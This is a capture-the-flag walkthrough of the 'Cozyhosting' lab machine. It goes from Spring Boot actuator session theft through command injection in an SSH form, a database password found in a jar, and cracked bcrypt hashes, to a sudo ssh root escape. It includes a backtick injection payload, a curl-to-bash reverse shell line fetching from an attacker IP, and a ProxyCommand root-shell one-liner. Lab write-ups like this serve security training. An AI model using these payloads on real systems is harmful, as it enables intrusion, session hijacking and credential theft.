Cozyhosting

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.121.30           
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-04 13:22 +08
Nmap scan report for 10.129.121.30
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Did a detailed scan as well:

$ nmap -p 80 -sC -sV --min-rate 4000 10.129.121.30 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-04 13:23 +08
Nmap scan report for 10.129.121.30
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can add this host to our /etc/hosts file and start proxying traffic through Burpsuite.

Web Enum -> Spring Boot -> Admin

Port 80 shows a basic corporate site:

There is a login function, but weak credentials or basic SQL Injection attacks don't seem to work. I did a gobuster directory scan, which revealed a few directories:

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://cozyhosting.htb -t 100  
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cozyhosting.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/09/04 13:26:29 Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 12706]
/login                (Status: 200) [Size: 4431]
/admin                (Status: 401) [Size: 97]
/logout               (Status: 204) [Size: 0]
/error                (Status: 500) [Size: 73]

When visiting all of these, the /error endpoint stood out:

Whitelabel Error Page means that the website uses Spring Boot, which requires a different method of enumeration. Using something called Actuators, we can query information about the website through HTTP requests:

Using this, we can try to find some custom endpoints that may not be present in any wordlist. We can use the /actuator/mappings directory for this:

$ curl --silent http://cozyhosting.htb/actuator/mappings | jq
<TRUNCATED>
{
              "handler": "htb.cloudhosting.compliance.ComplianceService#executeOverSsh(String, String, HttpServletResponse)",                                                             
              "predicate": "{POST [/executessh]}",
              "details": {
                "handlerMethod": {
                  "className": "htb.cloudhosting.compliance.ComplianceService",
                  "name": "executeOverSsh",
                  "descriptor": "(Ljava/lang/String;Ljava/lang/String;Ljakarta/servlet/http/HttpServletResponse;)V"                                                                       
                },
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "POST"
                  ],
                  "params": [],
                  "patterns": [
                    "/executessh"
                  ],
                  "produces": []
                }
              }
            },

There was one that stood out, which was the /executessh one. However, I was not allowed to interact with this service at all, presumably because I am not given permissions as an administrator or something.

When checking the /actuator/sessions directory, we can find another cookie:

$ curl --silent http://cozyhosting.htb/actuator/sessions | jq
{
  "14C4271D66674BA4C3901D6F6C60E76F": "kanderson",
  "DF040098F46C4094515C06D2AA337994": "UNAUTHORIZED"
}

Using this cookie, we can access the administrator dashboard:

Admin Dashboard -> RCE

At the bottom of the dashboard, we can see a few fields that take user input and hint that this is the /executessh service:

When submitting some random values, the browser sends a POST request to /executessh, and the error is sent through a GET request:

GET /admin?error=ssh:%20Could%20not%20resolve%20hostname%20test:%20Temporary%20failure%20in%20name%20resolution HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cozyhosting.htb/admin
Connection: close
Cookie: JSESSIONID=14C4271D66674BA4C3901D6F6C60E76F
Upgrade-Insecure-Requests: 1

Seems that the host resolution happens in the website, so let's replace that with 127.0.0.1. When that happens, the error is Host key verification failed. The username part seems to be passed directly into...somewhere.

I tried some basic Command Injection using ; and `, and found that the latter worked.

POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin
Cookie: JSESSIONID=14C4271D66674BA4C3901D6F6C60E76F

Upgrade-Insecure-Requests: 1



host=127.0.0.1&username=`id`

Using this, we can try to get a reverse shell as the user. When testing random payloads, I managed to trigger an error on the machine as well by typing {$IFS} wrongly:

The bash reverse shell one-liner didn't work and was quite problematic with all of its special characters, so I used a curl one-liner instead.

curl${IFS}10.10.14.22/shell.sh|bash

Privilege Escalation

CloudHosting Jar -> SQL + User Creds

The app user has access to this .jar file:

app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar

Within the machine, there are other services that are active:

app@cozyhosting:/app$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      998/java            
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           - 

Port 5432 for PostGreSQL is on, so let's enumerate that next. First, we need to find the user that is using the database, and pspy64 can do that:

2023/09/04 05:55:15 CMD: UID=114  PID=1850   | postgres: 14/main: postgres cozyhosting 127.0.0.1(36120) idle                                                                              
2023/09/04 05:55:15 CMD: UID=114  PID=1845   | postgres: 14/main: postgres cozyhosting 127.0.0.1(55606) idle                                                                              
2023/09/04 05:55:15 CMD: UID=114  PID=1817   | postgres: 14/main: postgres cozyhosting 127.0.0.1(50134) idle                                                                              
2023/09/04 05:55:15 CMD: UID=114  PID=1811   | postgres: 14/main: postgres cozyhosting 127.0.0.1(50126) idle

A user with UID 114 is using it, and the /etc/passwd file has that:

app@cozyhosting:/app$ cat /etc/passwd | grep 114
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

postgres is using the database. However, this user still requires a password:

app@cozyhosting:/app$ psql -U postgres -h localhost -W
Password: 
psql: error: connection to server at "localhost" (127.0.0.1), port 5432 failed: FATAL:  password authentication failed for user "postgres"
connection to server at "localhost" (127.0.0.1), port 5432 failed: FATAL:  password authentication failed for user "postgres"

The password might be within the cloudhosting jar file, so I downloaded it to my machine via nc. Instead of unzipping the entire .jar file, we can use zipgrep to extract certain information from it.

$ zipgrep password cloudhosting.jar  
grep: (standard input): binary file matches
grep: (standard input): binary file matches
grep: (standard input): binary file matches
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-fill:before { content: "\eecf"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-line:before { content: "\eed0"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-fill:before { content: "\eecf"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-line:before { content: "\eed0"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-fill"
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-line"
grep: (standard input): binary file matches
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-fill">
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-line">
grep: (standard input): binary file matches
BOOT-INF/classes/templates/login.html:                                        <input type="password" name="password" class="form-control" id="yourPassword"
BOOT-INF/classes/templates/login.html:                                        <div class="invalid-feedback">Please enter your password!</div>
BOOT-INF/classes/templates/login.html:                                    <p th:if="${param.error}" class="text-center small">Invalid username or password</p>
BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR
grep: (standard input): binary file matches

The above password works and we can login to the database:

Afterwards, we can enumerate this database. There are a few databases available:

postgres=# select datname from pg_database;
 ESC[H   datname   
-------------
 postgres
 cozyhosting
 template1
 template0

Using the cozyhosting database, we can find a users table:

cozyhosting=# \d
              List of relations
 Schema |     Name     |   Type   |  Owner   
--------+--------------+----------+----------
 public | hosts        | table    | postgres
 public | hosts_id_seq | sequence | postgres
 public | users        | table    | postgres

When we extract all data from it, we get 2 hashes:

cozyhosting=# select * from users;
   name    |                           password                           | role
  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

We can crack one of these hashes using john:

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)     
1g 0:00:00:14 DONE (2023-09-04 14:02) 0.07062g/s 198.3p/s 198.3c/s 198.3C/s catcat..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The user in the machine is called josh:

app@cozyhosting:/app$ ls /home
josh

Using this password, we can ssh in as josh:

Sudo Privileges -> Root

Since we have the user's password, we can check our sudo privileges:

josh@cozyhosting:~$ sudo -l                                                                  
[sudo] password for josh:                                                                    
Matching Defaults entries for josh on localhost:                                             
    env_reset, mail_badpass,                                                                 
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty                                                                                  

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Using the command on GTFOBins, we can spawn a root shell:

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Rooted!

Last updated